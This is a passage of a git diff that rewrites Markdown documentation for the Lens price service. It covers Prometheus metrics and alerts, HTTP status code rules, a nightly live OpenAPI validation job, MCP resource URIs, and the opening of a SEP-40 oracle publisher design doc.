Fastify +runs `onRequest` hooks in registration order. Registering the metrics plugin +later would mean a request rejected by auth or x402 short-circuits before the +timer starts, losing exactly the 401/402/429 traffic an operator most wants to +see. + +`/metrics` itself is excluded from counting. It is scraped on a fixed interval, +so counting it would have the scraper continuously inflate the numbers it is +reading — request rate would never fall to zero on an idle service. `/live` and +`/ready` are excluded for the same reason, polled by a different timer. + +## Queries + +```promql +# Request rate (per second, 5m window) +sum(rate(http_requests_total[5m])) by (route) + +# Error rate as a fraction of all requests +sum(rate(http_requests_total{status_class="5xx"}[5m])) + / sum(rate(http_requests_total[5m])) + +# p95 latency across the service +histogram_quantile(0.95, + sum(rate(http_request_duration_seconds_bucket[5m])) by (le)) + +# p95 latency per route — find which endpoint is slow +histogram_quantile(0.95, + sum(rate(http_request_duration_seconds_bucket[5m])) by (le, route)) +``` + +## Suggested alerts + +These are starting points; tune the thresholds against observed traffic before +paging anyone with them. + +```yaml +groups: + - name: lens-http + rules: + - alert: LensHighErrorRate + expr: | + sum(rate(http_requests_total{status_class="5xx"}[5m])) + / sum(rate(http_requests_total[5m])) > 0.05 + for: 10m + labels: { severity: critical } + annotations: + summary: "Lens is serving over 5% 5xx" + + - alert: LensHighLatencyP95 + expr: | + histogram_quantile(0.95, + sum(rate(http_request_duration_seconds_bucket[5m])) by (le)) > 2.5 + for: 15m + labels: { severity: warning } + annotations: + summary: "Lens p95 latency above 2.5s" + + - alert: LensNoTraffic + expr: sum(rate(http_requests_total[10m])) == 0 + for: 15m + labels: { severity: warning } + annotations: + summary: "Lens is serving no requests — check ingress or the scraper" +``` + +A note on `LensHighErrorRate`: the ratio is undefined when there is no traffic, +which is why `LensNoTraffic` exists separately rather than trying to make one +rule cover both. A service serving zero requests is a real problem that an error +*ratio* will never fire on. diff --git a/docs/http-status-codes.md b/docs/http-status-codes.md index d3dbccd8..c4b68177 100644 --- a/docs/http-status-codes.md +++ b/docs/http-status-codes.md @@ -1,63 +1,63 @@ -# HTTP Status Code Conventions - -This document defines the consistent rules for HTTP status codes across all Lens API routes. - -## The Rule - -**404 Not Found** is returned when: -- A **resource does not exist** (the requested entity is not configured, not registered, or fundamentally absent) -- Examples: pair not watched, API key not found, webhook subscription ID not found - -**200 OK with empty result** is returned when: -- A **query matched nothing** (the resource exists and the query was valid, but no data satisfied the filters/time range) -- Examples: no price data in the requested time window, no trades in the last 24h, no pools for the given asset - -**400 Bad Request** is returned when: -- Request parameters are malformed, out of range, or violate validation rules -- Examples: invalid date format, unsupported window value, negative amount - -## Application per Route - -### Routes returning 404 for non-existent resources - -| Route | 404 Condition | -|---|---| -| `GET /price/:assetA/:assetB` | Pair not watched on the requested network | -| `GET /price/:assetA/:assetB/route` | Pair not watched on the requested network | -| `GET /price/:assetA/:assetB/depth` | Pair not watched on the requested network | -| `GET /benchmark/:asset` | Pair not watched on the requested network | -| `DELETE /admin/keys/:id` | API key ID not found | -| `DELETE /webhooks/:id` | Already 204 (idempotent deletion) | - -### Routes returning 200 with empty result + reason - -| Route | Empty Result Condition | Response Shape | -|---|---|---| -| `GET /basket` | One or more assets have no price data | `{ error: "No price data found for: ASSET1, ASSET2" }` **→ Changed to 200** | -| `GET /compare/:asset` | No Lens or Reflector price available | `{ lens: null, reflector: null, status: "no_data", ... }` **→ Changed to 200** | -| `GET /candles/:assetA/:assetB` | No trades in the requested time range | `{ candles: [], pairKey, interval, from, to }` | -| `GET /price/:assetA/:assetB/history` | No aggregated buckets for the window | `{ buckets: [], pairKey, window }` | -| `GET /spreads/:asset` | No venue quoted the asset in the window | `{ venues: [], tightest: null, ... }` | -| `GET /volumes/:asset` | No trades for the asset in the window | `{ totalVolume: 0, byVenue: {}, venues: [], tradeCount: 0, ... }` | -| `GET /screener` | No pairs matched the filters | `{ data: [], nextCursor: null, hasMore: false, total: null }` | -| `GET /pools` | No pools for the network | `{ pools: [] }` | -| `GET /pairs` | No watched pairs (configuration issue) | `{ pairs: [] }` | - -### Rationale - -The distinction preserves semantic information that a single status code cannot carry: - -- **404** tells the client "you asked for something that cannot exist — check your configuration or endpoint" -- **200 + empty** tells the client "your request was valid but there is no data right now — try again later or widen your filters" - -A client that retries a 404 without changing its request is wasting resources. A client that retries a 200-empty after waiting or adjusting filters is behaving correctly. - -### Migration notes - -Routes that **changed** from 404 to 200-empty: -- `/basket` — was 404 when an asset had no price; now 200 with `{ error: ... }` listing the missing assets -- `/compare/:asset` — was 404 when both sources were null; now 200 with `status: "no_data"` - -Routes that were **already correct** and unchanged: -- `/candles`, `/price/*/history`, `/spreads`, `/volumes`, `/screener`, `/pools`, `/pairs` — all return 200 with empty arrays -- `/price`, `/price/*/route`, `/price/*/depth`, `/benchmark` — all return 404 for unwatched pairs +# HTTP Status Code Conventions + +This document defines the consistent rules for HTTP status codes across all Lens API routes. + +## The Rule + +**404 Not Found** is returned when: +- A **resource does not exist** (the requested entity is not configured, not registered, or fundamentally absent) +- Examples: pair not watched, API key not found, webhook subscription ID not found + +**200 OK with empty result** is returned when: +- A **query matched nothing** (the resource exists and the query was valid, but no data satisfied the filters/time range) +- Examples: no price data in the requested time window, no trades in the last 24h, no pools for the given asset + +**400 Bad Request** is returned when: +- Request parameters are malformed, out of range, or violate validation rules +- Examples: invalid date format, unsupported window value, negative amount + +## Application per Route + +### Routes returning 404 for non-existent resources + +| Route | 404 Condition | +|---|---| +| `GET /price/:assetA/:assetB` | Pair not watched on the requested network | +| `GET /price/:assetA/:assetB/route` | Pair not watched on the requested network | +| `GET /price/:assetA/:assetB/depth` | Pair not watched on the requested network | +| `GET /benchmark/:asset` | Pair not watched on the requested network | +| `DELETE /admin/keys/:id` | API key ID not found | +| `DELETE /webhooks/:id` | Already 204 (idempotent deletion) | + +### Routes returning 200 with empty result + reason + +| Route | Empty Result Condition | Response Shape | +|---|---|---| +| `GET /basket` | One or more assets have no price data | `{ error: "No price data found for: ASSET1, ASSET2" }` **→ Changed to 200** | +| `GET /compare/:asset` | No Lens or Reflector price available | `{ lens: null, reflector: null, status: "no_data", ... }` **→ Changed to 200** | +| `GET /candles/:assetA/:assetB` | No trades in the requested time range | `{ candles: [], pairKey, interval, from, to }` | +| `GET /price/:assetA/:assetB/history` | No aggregated buckets for the window | `{ buckets: [], pairKey, window }` | +| `GET /spreads/:asset` | No venue quoted the asset in the window | `{ venues: [], tightest: null, ... }` | +| `GET /volumes/:asset` | No trades for the asset in the window | `{ totalVolume: 0, byVenue: {}, venues: [], tradeCount: 0, ... }` | +| `GET /screener` | No pairs matched the filters | `{ data: [], nextCursor: null, hasMore: false, total: null }` | +| `GET /pools` | No pools for the network | `{ pools: [] }` | +| `GET /pairs` | No watched pairs (configuration issue) | `{ pairs: [] }` | + +### Rationale + +The distinction preserves semantic information that a single status code cannot carry: + +- **404** tells the client "you asked for something that cannot exist — check your configuration or endpoint" +- **200 + empty** tells the client "your request was valid but there is no data right now — try again later or widen your filters" + +A client that retries a 404 without changing its request is wasting resources. A client that retries a 200-empty after waiting or adjusting filters is behaving correctly. + +### Migration notes + +Routes that **changed** from 404 to 200-empty: +- `/basket` — was 404 when an asset had no price; now 200 with `{ error: ... }` listing the missing assets +- `/compare/:asset` — was 404 when both sources were null; now 200 with `status: "no_data"` + +Routes that were **already correct** and unchanged: +- `/candles`, `/price/*/history`, `/spreads`, `/volumes`, `/screener`, `/pools`, `/pairs` — all return 200 with empty arrays +- `/price`, `/price/*/route`, `/price/*/depth`, `/benchmark` — all return 404 for unwatched pairs diff --git a/docs/ingest-metrics.md b/docs/ingest-metrics.md index ed7fc973..4d97af91 100644 --- a/docs/ingest-metrics.md +++ b/docs/ingest-metrics.md @@ -1,129 +1,129 @@ -# Ingest metrics - -The ingestion side of `/metrics`, defined in [`src/metrics.ts`](../src/metrics.ts). -The HTTP layer has its own doc — [`http-metrics.md`](http-metrics.md) — because -its label design is a separate problem. Everything here shares one concern: -**Lens runs one ingester set per enabled network against a single Prometheus -registry, so an ingest metric that cannot tell the networks apart is reporting -nonsense on any deployment with more than one.** - -## What is exported - -| Metric | Type | Labels | -| --- | --- | --- | -| `trades_ingested_total` | Counter | `pair`, `network` | -| `amm_snapshots_total` | Counter | `pool`, `network` | -| `price_snapshots_total` | Counter | `network` | -| `last_trade_timestamp` | Gauge | `pair`, `network` | - -| Label | Values | Notes | -| --- | --- | --- | -| `network` | `testnet`, `mainnet` | The `NetworkName` of the ingester loop that produced the sample, not the process-wide `STELLAR_NETWORK`. | -| `pair` | `XLM/USDC`, … | The `pairKey` already used everywhere else in Lens. | -| `pool` | Horizon liquidity-pool id | Pre-existing label, only on `amm_snapshots_total`. | - -All four are also emitted with the registry-wide `app="lens"` default label. - -## Why `network` is on all four - -Before this change, the ingest metrics were network-blind. On a dual-network -deployment the two loops wrote to the same series. - -For the counters that is a silent merge — `trades_ingested_total` summed -testnet and mainnet trades together, so a per-network ingest rate was not -queryable at all. - -`last_trade_timestamp` was worse. It is a `Gauge.set()`, not an increment, so -whichever loop ticked last won. The testnet loop at -[`src/ingesters/sdex.ts`](../src/ingesters/sdex.ts) overwrote mainnet's value -for the same pair every poll interval, and the series reported a timestamp -belonging to exactly one network while looking network-agnostic. That is the -only staleness signal Lens exports, and on a dual-network deployment it was -unusable for the job — silently, because the value still looked like a plausible -timestamp. - -Each call site now passes the `network` argument it already receives -(`ingestPair(pair, network)`, `snapshotPool(pool, pair, network)`, -`ingestPoolTrades(pool, pair, network)`, `appendSnapshots(now, network)`). -The invariant is the loop's own network, never `activeNetwork` — `activeNetwork` -is a per-process constant and is exactly the value that made this bug invisible. - -[`tests/ingestMetrics.test.ts`](../tests/ingestMetrics.test.ts) asserts that two -networks produce two distinct series for the same pair rather than one -overwritten one, and drives the real ingesters so a call site that forgets the -label fails the test. - -## Cardinality - -Series count is `pairs x networks`: - -- `trades_ingested_total` and `last_trade_timestamp` — `pairs x networks`. Both - factors are bounded by configuration: `WATCHED_PAIRS` and `ENABLED_NETWORKS` - are single-digit, so this is tens of series, not thousands. -- `amm_snapshots_total` — `pools x networks`. Pools are discovered from Horizon - for the configured pairs only, so this stays bounded by the same watch list. -- `price_snapshots_total` — `networks`. One series per network, full stop. - -**Do not add `issuer` to any of these.** It would multiply the series count by -every distinct token in the config for no gain: `pair` is the `pairKey` and -already identifies the instrument, and any question that genuinely needs the -issuer is a database question, not a Prometheus one. An issuer label is also the -label most likely to be added casually — every token *looks* like a useful -dimension until you count them. - -**Do not add `pool` to `trades_ingested_total` or `last_trade_timestamp`.** -Pool ids are only known to the AMM loop, and adding them there would mean the -SDEX loop needs a synthetic value; worse, it would turn a per-pair signal into -a per-pool one. If pool-level trade volume is genuinely needed, derive it from -`price_points` in the database, or add a separate metric with a deliberate label -set rather than widening an existing one. It is easy to add a label and painful -to remove one dashboards have come to depend on. - -## Queries - -```promql -# Ingest rate per network -sum(rate(trades_ingested_total[5m])) by (network) - -# Ingest rate for one pair, split by network -sum(rate(trades_ingested_total{pair="XLM/USDC"}[5m])) by (network) - -# How stale is the feed, per network? (seconds since the last trade) -time() - last_trade_timestamp - -# Staleness for one pair on one network -time() - last_trade_timestamp{pair="XLM/USDC", network="mainnet"} - -# Pairs that have gone quiet in the last 15 minutes -time() - last_trade_timestamp > 900 -``` - -## Suggested alerts - -`time() - last_trade_timestamp` needs a threshold per pair, not one global one: -a thin pair legitimately goes hours without a trade. The expression below is a -starting point — tune it against the observed trade frequency of the pairs you -actually watch before paging anyone. - -```yaml -groups: - - name: lens-ingest - rules: - - alert: LensIngestStale - expr: | - (time() - last_trade_timestamp) > 3600 - and on (pair, network) - (sum(increase(trades_ingested_total[6h])) by (pair, network) > 0) - for: 15m - labels: { severity: warning } - annotations: - summary: "{{ $labels.pair }} on {{ $labels.network }} has seen no trade for over an hour" -``` - -The `increase(...) > 0` arm is what makes this alertable rather than noisy: it -fires only for pairs that were actually trading recently enough to be expected -to trade again, so a pair that never trades does not page anyone. Adding -`network` to the label set is what makes the `and on (pair, network)` join -correct — without it the two networks' series are indistinguishable and the -threshold can be satisfied or violated by whichever network happens to be -active. +# Ingest metrics + +The ingestion side of `/metrics`, defined in [`src/metrics.ts`](../src/metrics.ts). +The HTTP layer has its own doc — [`http-metrics.md`](http-metrics.md) — because +its label design is a separate problem. Everything here shares one concern: +**Lens runs one ingester set per enabled network against a single Prometheus +registry, so an ingest metric that cannot tell the networks apart is reporting +nonsense on any deployment with more than one.** + +## What is exported + +| Metric | Type | Labels | +| --- | --- | --- | +| `trades_ingested_total` | Counter | `pair`, `network` | +| `amm_snapshots_total` | Counter | `pool`, `network` | +| `price_snapshots_total` | Counter | `network` | +| `last_trade_timestamp` | Gauge | `pair`, `network` | + +| Label | Values | Notes | +| --- | --- | --- | +| `network` | `testnet`, `mainnet` | The `NetworkName` of the ingester loop that produced the sample, not the process-wide `STELLAR_NETWORK`. | +| `pair` | `XLM/USDC`, … | The `pairKey` already used everywhere else in Lens. | +| `pool` | Horizon liquidity-pool id | Pre-existing label, only on `amm_snapshots_total`. | + +All four are also emitted with the registry-wide `app="lens"` default label. + +## Why `network` is on all four + +Before this change, the ingest metrics were network-blind. On a dual-network +deployment the two loops wrote to the same series. + +For the counters that is a silent merge — `trades_ingested_total` summed +testnet and mainnet trades together, so a per-network ingest rate was not +queryable at all. + +`last_trade_timestamp` was worse. It is a `Gauge.set()`, not an increment, so +whichever loop ticked last won. The testnet loop at +[`src/ingesters/sdex.ts`](../src/ingesters/sdex.ts) overwrote mainnet's value +for the same pair every poll interval, and the series reported a timestamp +belonging to exactly one network while looking network-agnostic. That is the +only staleness signal Lens exports, and on a dual-network deployment it was +unusable for the job — silently, because the value still looked like a plausible +timestamp. + +Each call site now passes the `network` argument it already receives +(`ingestPair(pair, network)`, `snapshotPool(pool, pair, network)`, +`ingestPoolTrades(pool, pair, network)`, `appendSnapshots(now, network)`). +The invariant is the loop's own network, never `activeNetwork` — `activeNetwork` +is a per-process constant and is exactly the value that made this bug invisible. + +[`tests/ingestMetrics.test.ts`](../tests/ingestMetrics.test.ts) asserts that two +networks produce two distinct series for the same pair rather than one +overwritten one, and drives the real ingesters so a call site that forgets the +label fails the test. + +## Cardinality + +Series count is `pairs x networks`: + +- `trades_ingested_total` and `last_trade_timestamp` — `pairs x networks`. Both + factors are bounded by configuration: `WATCHED_PAIRS` and `ENABLED_NETWORKS` + are single-digit, so this is tens of series, not thousands. +- `amm_snapshots_total` — `pools x networks`. Pools are discovered from Horizon + for the configured pairs only, so this stays bounded by the same watch list. +- `price_snapshots_total` — `networks`. One series per network, full stop. + +**Do not add `issuer` to any of these.** It would multiply the series count by +every distinct token in the config for no gain: `pair` is the `pairKey` and +already identifies the instrument, and any question that genuinely needs the +issuer is a database question, not a Prometheus one. An issuer label is also the +label most likely to be added casually — every token *looks* like a useful +dimension until you count them. + +**Do not add `pool` to `trades_ingested_total` or `last_trade_timestamp`.** +Pool ids are only known to the AMM loop, and adding them there would mean the +SDEX loop needs a synthetic value; worse, it would turn a per-pair signal into +a per-pool one. If pool-level trade volume is genuinely needed, derive it from +`price_points` in the database, or add a separate metric with a deliberate label +set rather than widening an existing one. It is easy to add a label and painful +to remove one dashboards have come to depend on. + +## Queries + +```promql +# Ingest rate per network +sum(rate(trades_ingested_total[5m])) by (network) + +# Ingest rate for one pair, split by network +sum(rate(trades_ingested_total{pair="XLM/USDC"}[5m])) by (network) + +# How stale is the feed, per network? (seconds since the last trade) +time() - last_trade_timestamp + +# Staleness for one pair on one network +time() - last_trade_timestamp{pair="XLM/USDC", network="mainnet"} + +# Pairs that have gone quiet in the last 15 minutes +time() - last_trade_timestamp > 900 +``` + +## Suggested alerts + +`time() - last_trade_timestamp` needs a threshold per pair, not one global one: +a thin pair legitimately goes hours without a trade. The expression below is a +starting point — tune it against the observed trade frequency of the pairs you +actually watch before paging anyone. + +```yaml +groups: + - name: lens-ingest + rules: + - alert: LensIngestStale + expr: | + (time() - last_trade_timestamp) > 3600 + and on (pair, network) + (sum(increase(trades_ingested_total[6h])) by (pair, network) > 0) + for: 15m + labels: { severity: warning } + annotations: + summary: "{{ $labels.pair }} on {{ $labels.network }} has seen no trade for over an hour" +``` + +The `increase(...) > 0` arm is what makes this alertable rather than noisy: it +fires only for pairs that were actually trading recently enough to be expected +to trade again, so a pair that never trades does not page anyone. Adding +`network` to the label set is what makes the `and on (pair, network)` join +correct — without it the two networks' series are indistinguishable and the +threshold can be satisfied or violated by whichever network happens to be +active. diff --git a/docs/live-spec-validation.md b/docs/live-spec-validation.md index 38c579f6..fe03b102 100644 --- a/docs/live-spec-validation.md +++ b/docs/live-spec-validation.md @@ -1,67 +1,67 @@ -# Live Service Spec Validation - -## Background -`tests/openapi.test.ts` ensures that all registered routes are present in [`openapi.yaml`](../openapi.yaml). However, static routing coverage alone does not guarantee that the live deployed service actually responds with payloads that match the schemas published in the specification. - -This scheduled validation job queries every documented endpoint on the live service and validates the response payloads against their respective OpenAPI 3.0 schemas. - ---- - -## Acceptance Criteria & Architecture - -1. **Every documented route is validated against the live response** - - The validator parses `openapi.yaml` and executes test requests for each documented path and operation. - - Dynamic path templates (`{assetA}`, `{assetB}`, `{asset}`, `{id}`, `{keyId}`) and query parameters are populated with standard valid test arguments. - - Responses are validated against the declared JSON schemas in `components.schemas` using Ajv. - -2. **Failures are reported in one place that updates rather than multiplying** - - Instead of opening a new issue on every nightly run (which creates notification fatigue and leads teams to ignore alerts), the check: - - Searches for an existing issue labeled `live-spec-report`. - - Appends the latest run report as a timestamped comment and updates the main issue body with the current health banner. - - Creates the single tracking issue only if one does not already exist. - - Also publishes the report to `$GITHUB_STEP_SUMMARY` for direct visibility in the Actions UI. - -3. **A deliberate schema mismatch is detected by the check** - - Verified by automated tests in [`src/__tests__/liveSpecValidation.test.ts`](../src/__tests__/liveSpecValidation.test.ts). - - If a response field has the wrong type (e.g. `string` instead of `number`), is missing a required property, or provides an invalid enum value, the validator flags the route, identifies the invalid JSON path, and details the exact schema violation. - -4. **The job's schedule and its cost are documented** - - See [Schedule and Cost Analysis](#schedule-and-cost-analysis) below. - -5. **Reports rather than fails the build** - - Because live network conditions, temporary provider downtime, or third-party outages are outside CI's control, the scheduled job logs drift and posts reports while exiting cleanly with status `0`. - ---- - -## Schedule and Cost Analysis - -### Execution Schedule -- **Trigger:** Cron schedule at **`05:00 UTC daily`** (`0 5 * * *`) and on-demand via `workflow_dispatch`. -- **Timing Rationale:** - - `03:00 UTC`: Nightly database backups ([`.github/workflows/db-backup.yml`](../.github/workflows/db-backup.yml)). - - `04:00 UTC`: Automated price load test ([`.github/workflows/load.yml`](../.github/workflows/load.yml)). - - `05:00 UTC`: Off-peak live spec validation runs once previous nightly jobs have completed, preventing any overlapping resource contention. - -### Resource & Financial Cost -- **GitHub Actions Compute:** - - Runtime: **~20 to 45 seconds** per run. - - Monthly compute: ~30 runs × 1 minute = **~30 runner minutes per month**. - - Cost: Free (public open-source repositories receive unlimited free Actions minutes; private accounts have a 2,000 minute/month free tier). -- **Live Service Ingestion & Network Load:** - - Total HTTP requests per run: **~25 requests** (one per documented endpoint). - - Bandwidth: < 150 KB total per run. - - Server Impact: Less than 0.001% of daily capacity; completely negligible overhead. - ---- - -## Running Locally - -To validate a local or remote deployment against the spec: - -```bash -# Validate local server (defaults to http://localhost:3002) -npm run spec:validate-live - -# Validate a specific remote environment -LIVE_API_URL=https://lens.stellar.org npm run spec:validate-live -``` +# Live Service Spec Validation + +## Background +`tests/openapi.test.ts` ensures that all registered routes are present in [`openapi.yaml`](../openapi.yaml). However, static routing coverage alone does not guarantee that the live deployed service actually responds with payloads that match the schemas published in the specification. + +This scheduled validation job queries every documented endpoint on the live service and validates the response payloads against their respective OpenAPI 3.0 schemas. + +--- + +## Acceptance Criteria & Architecture + +1. **Every documented route is validated against the live response** + - The validator parses `openapi.yaml` and executes test requests for each documented path and operation. + - Dynamic path templates (`{assetA}`, `{assetB}`, `{asset}`, `{id}`, `{keyId}`) and query parameters are populated with standard valid test arguments. + - Responses are validated against the declared JSON schemas in `components.schemas` using Ajv. + +2. **Failures are reported in one place that updates rather than multiplying** + - Instead of opening a new issue on every nightly run (which creates notification fatigue and leads teams to ignore alerts), the check: + - Searches for an existing issue labeled `live-spec-report`. + - Appends the latest run report as a timestamped comment and updates the main issue body with the current health banner. + - Creates the single tracking issue only if one does not already exist. + - Also publishes the report to `$GITHUB_STEP_SUMMARY` for direct visibility in the Actions UI. + +3. **A deliberate schema mismatch is detected by the check** + - Verified by automated tests in [`src/__tests__/liveSpecValidation.test.ts`](../src/__tests__/liveSpecValidation.test.ts). + - If a response field has the wrong type (e.g. `string` instead of `number`), is missing a required property, or provides an invalid enum value, the validator flags the route, identifies the invalid JSON path, and details the exact schema violation. + +4. **The job's schedule and its cost are documented** + - See [Schedule and Cost Analysis](#schedule-and-cost-analysis) below. + +5. **Reports rather than fails the build** + - Because live network conditions, temporary provider downtime, or third-party outages are outside CI's control, the scheduled job logs drift and posts reports while exiting cleanly with status `0`. + +--- + +## Schedule and Cost Analysis + +### Execution Schedule +- **Trigger:** Cron schedule at **`05:00 UTC daily`** (`0 5 * * *`) and on-demand via `workflow_dispatch`. +- **Timing Rationale:** + - `03:00 UTC`: Nightly database backups ([`.github/workflows/db-backup.yml`](../.github/workflows/db-backup.yml)). + - `04:00 UTC`: Automated price load test ([`.github/workflows/load.yml`](../.github/workflows/load.yml)). + - `05:00 UTC`: Off-peak live spec validation runs once previous nightly jobs have completed, preventing any overlapping resource contention. + +### Resource & Financial Cost +- **GitHub Actions Compute:** + - Runtime: **~20 to 45 seconds** per run. + - Monthly compute: ~30 runs × 1 minute = **~30 runner minutes per month**. + - Cost: Free (public open-source repositories receive unlimited free Actions minutes; private accounts have a 2,000 minute/month free tier). +- **Live Service Ingestion & Network Load:** + - Total HTTP requests per run: **~25 requests** (one per documented endpoint). + - Bandwidth: < 150 KB total per run. + - Server Impact: Less than 0.001% of daily capacity; completely negligible overhead. + +--- + +## Running Locally + +To validate a local or remote deployment against the spec: + +```bash +# Validate local server (defaults to http://localhost:3002) +npm run spec:validate-live + +# Validate a specific remote environment +LIVE_API_URL=https://lens.stellar.org npm run spec:validate-live +``` diff --git a/docs/mcp-resources.md b/docs/mcp-resources.md index 8e906e76..2e9873dc 100644 --- a/docs/mcp-resources.md +++ b/docs/mcp-resources.md @@ -1,90 +1,90 @@ -# MCP resources - -The Lens MCP server (`src/mcp/server.ts`) offers an agent two kinds of thing: - -- **Tools** — functions it calls to *do* something: `bazaar_search`, - `paid_call`, `lens_get_price`. -- **Resources** — read-only content it attaches to its context once, instead of - re-fetching by calling a tool every turn. - -Resources are for the stable, cacheable facts *about the service itself*. Each -has a fixed URI, an accurate MIME type, and freshness an agent can rely on. - -## Resource URIs - -| URI | MIME type | Contents | `lastModified` comes from | -| --- | --- | --- | --- | -| `lens://pairs` | `application/json` | The pairs Lens quotes on the configured network: `{ network, pairs: [{ pairKey, assetA, assetB }] }`. | the instant this process resolved its config | -| `lens://venues` | `application/json` | The venues Lens reads from, each with its `source` and whether it is `enabled` here. | the instant this process resolved its config | -| `lens://openapi.json` | `application/json` | The service OpenAPI 3 document, served verbatim. | the file's on-disk mtime | -| `lens://status` | `application/json` | Network, Horizon/RPC URLs, venue enablement, watched-pair count, server name and version. | the read instant | - -A URI never changes shape. Adding a field to a payload is fine; renaming a URI, -or reusing one for different content, is not. - -## Freshness - -Every resource reports two things, on `resources/list` and on `resources/read`: - -- **`version`** — `sha256:` over the exact bytes returned, in - `_meta.version`. A client compares it against the copy it cached, so it can - decide whether to re-read without diffing the text. Identical payload means an - identical version. -- **`lastModified`** — ISO-8601, in `annotations.lastModified` on list and - `_meta.lastModified` on both. Omitted when a source has no notion of change - rather than filled in with something invented. - -`lens://status` embeds its own generation time, so every read is a new version. -That is deliberate: status is defined by being current, and a version that -survived two reads would be a lie about it. - -`resources/list` resolves each resource to compute this metadata instead of -returning a static catalogue. These payloads are small and cheap, and stale -freshness metadata is worse than none. - -## Refusals - -Reading a URI that does not exist throws an MCP `InvalidParams` error, and a -resource source that fails throws `InternalError`. Neither is expressed as a -tool-style `{ isError, code }` payload: `ReadResourceResult` has no such field, -so a fabricated one would be parsed as a successful read. - -This is also why the resources work adds nothing to the `MCP_ERROR_CODES` -vocabulary in `./codes.ts`. That vocabulary answers "why did the money or the -fetch fail" — `ERR_URL_BLOCKED` for an address we will never reach, -`ERR_HOST_NOT_ALLOWED` for a host we will not pay. "No such resource" is a -different question, and the protocol already has a typed answer for it. - -## Overriding the sources - -The defaults read only `config` and the on-disk OpenAPI document — no database — -for the same reason `createLensPriceQueries` lives in its own module: a process -that has not opted into Lens's own price data should not pay for importing `pg` -and Prisma just to list what the service watches. `lens://pairs` therefore -reports the *declared* pair list for the network, not the process-wide runtime -registry, matching what `lens_get_price` accepts. - -A host that does hold that state can inject its own descriptors, exactly as it -injects `priceQueries`: - -```ts -new BazaarMcpServer({ - fetchWithPayment, - resources: [ - { - uri: 'lens://pairs', - name: 'pairs', - title: 'Watched pairs', - description: 'Pairs Lens quotes, including those added at runtime.', - mimeType: 'application/json', - read: () => ({ data: { network, pairs: getActivePairs() } }), - }, - ], -}); -``` - -## Configuration - -`MCP_OPENAPI_PATH` overrides which file `lens://openapi.json` serves. Unset, it -is the `openapi.json` at the package root. Set it only when the document sits -elsewhere, e.g. mounted separately in a container. +# MCP resources + +The Lens MCP server (`src/mcp/server.ts`) offers an agent two kinds of thing: + +- **Tools** — functions it calls to *do* something: `bazaar_search`, + `paid_call`, `lens_get_price`. +- **Resources** — read-only content it attaches to its context once, instead of + re-fetching by calling a tool every turn. + +Resources are for the stable, cacheable facts *about the service itself*. Each +has a fixed URI, an accurate MIME type, and freshness an agent can rely on. + +## Resource URIs + +| URI | MIME type | Contents | `lastModified` comes from | +| --- | --- | --- | --- | +| `lens://pairs` | `application/json` | The pairs Lens quotes on the configured network: `{ network, pairs: [{ pairKey, assetA, assetB }] }`. | the instant this process resolved its config | +| `lens://venues` | `application/json` | The venues Lens reads from, each with its `source` and whether it is `enabled` here. | the instant this process resolved its config | +| `lens://openapi.json` | `application/json` | The service OpenAPI 3 document, served verbatim. | the file's on-disk mtime | +| `lens://status` | `application/json` | Network, Horizon/RPC URLs, venue enablement, watched-pair count, server name and version. | the read instant | + +A URI never changes shape. Adding a field to a payload is fine; renaming a URI, +or reusing one for different content, is not. + +## Freshness + +Every resource reports two things, on `resources/list` and on `resources/read`: + +- **`version`** — `sha256:` over the exact bytes returned, in + `_meta.version`. A client compares it against the copy it cached, so it can + decide whether to re-read without diffing the text. Identical payload means an + identical version. +- **`lastModified`** — ISO-8601, in `annotations.lastModified` on list and + `_meta.lastModified` on both. Omitted when a source has no notion of change + rather than filled in with something invented. + +`lens://status` embeds its own generation time, so every read is a new version. +That is deliberate: status is defined by being current, and a version that +survived two reads would be a lie about it. + +`resources/list` resolves each resource to compute this metadata instead of +returning a static catalogue. These payloads are small and cheap, and stale +freshness metadata is worse than none. + +## Refusals + +Reading a URI that does not exist throws an MCP `InvalidParams` error, and a +resource source that fails throws `InternalError`. Neither is expressed as a +tool-style `{ isError, code }` payload: `ReadResourceResult` has no such field, +so a fabricated one would be parsed as a successful read. + +This is also why the resources work adds nothing to the `MCP_ERROR_CODES` +vocabulary in `./codes.ts`. That vocabulary answers "why did the money or the +fetch fail" — `ERR_URL_BLOCKED` for an address we will never reach, +`ERR_HOST_NOT_ALLOWED` for a host we will not pay. "No such resource" is a +different question, and the protocol already has a typed answer for it. + +## Overriding the sources + +The defaults read only `config` and the on-disk OpenAPI document — no database — +for the same reason `createLensPriceQueries` lives in its own module: a process +that has not opted into Lens's own price data should not pay for importing `pg` +and Prisma just to list what the service watches. `lens://pairs` therefore +reports the *declared* pair list for the network, not the process-wide runtime +registry, matching what `lens_get_price` accepts. + +A host that does hold that state can inject its own descriptors, exactly as it +injects `priceQueries`: + +```ts +new BazaarMcpServer({ + fetchWithPayment, + resources: [ + { + uri: 'lens://pairs', + name: 'pairs', + title: 'Watched pairs', + description: 'Pairs Lens quotes, including those added at runtime.', + mimeType: 'application/json', + read: () => ({ data: { network, pairs: getActivePairs() } }), + }, + ], +}); +``` + +## Configuration + +`MCP_OPENAPI_PATH` overrides which file `lens://openapi.json` serves. Unset, it +is the `openapi.json` at the package root. Set it only when the document sits +elsewhere, e.g. mounted separately in a container. diff --git a/docs/sep40-oracle-publisher.md b/docs/sep40-oracle-publisher.md index 78fbc657..835e11f2 100644 --- a/docs/sep40-oracle-publisher.md +++ b/docs/sep40-oracle-publisher.md @@ -1,513 +1,513 @@ -# SEP-40 oracle publisher - -Lens has always been an oracle **consumer**: it reads Reflector's prices and -compares them with its own. Issue #222 is the other direction — Lens as an -oracle **publisher**, exposing a [SEP-40](https://github.com/StellarCommunity/seps/blob/main/SEP-0040.md) -compatible price feed that any Soroban contract can read. - -Two pieces make up the feature: - -| Piece | Where | What it does | -| --- | --- | --- | -| The feed | `oracle/contract/` | A Soroban contract implementing SEP-40's `PriceFeedTrait`, plus one provider-side write (`report`). | -| The publisher | `src/publish/` | The process that decides **when** a Lens aggregate is worth a transaction, and writes it. Runs once per enabled network, next to the ingest loops. | - -SEP-40 standardises the *read* side only ("the exact mechanism of data reporting -mechanism utilized by an oracle is out of scope of this SEP"), so `report` is -Lens's own design and every other entry point is exactly the shape the spec -defines. - ---- - -## 1. The contract - -`oracle/contract/src/lib.rs` — package `lens_sep40_oracle`. - -### 1.1 The SEP-40 read surface - -Declared names and signatures are the spec's, not adaptations: - -| Entry point | Signature | Lens's behaviour | -| --- | --- | --- | -| `base` | `() -> Asset` | The asset every price in the feed is denominated in. Set once at `initialize`. | -| `assets` | `() -> Vec` | Every asset that has ever been reported, in first-seen order. | -| 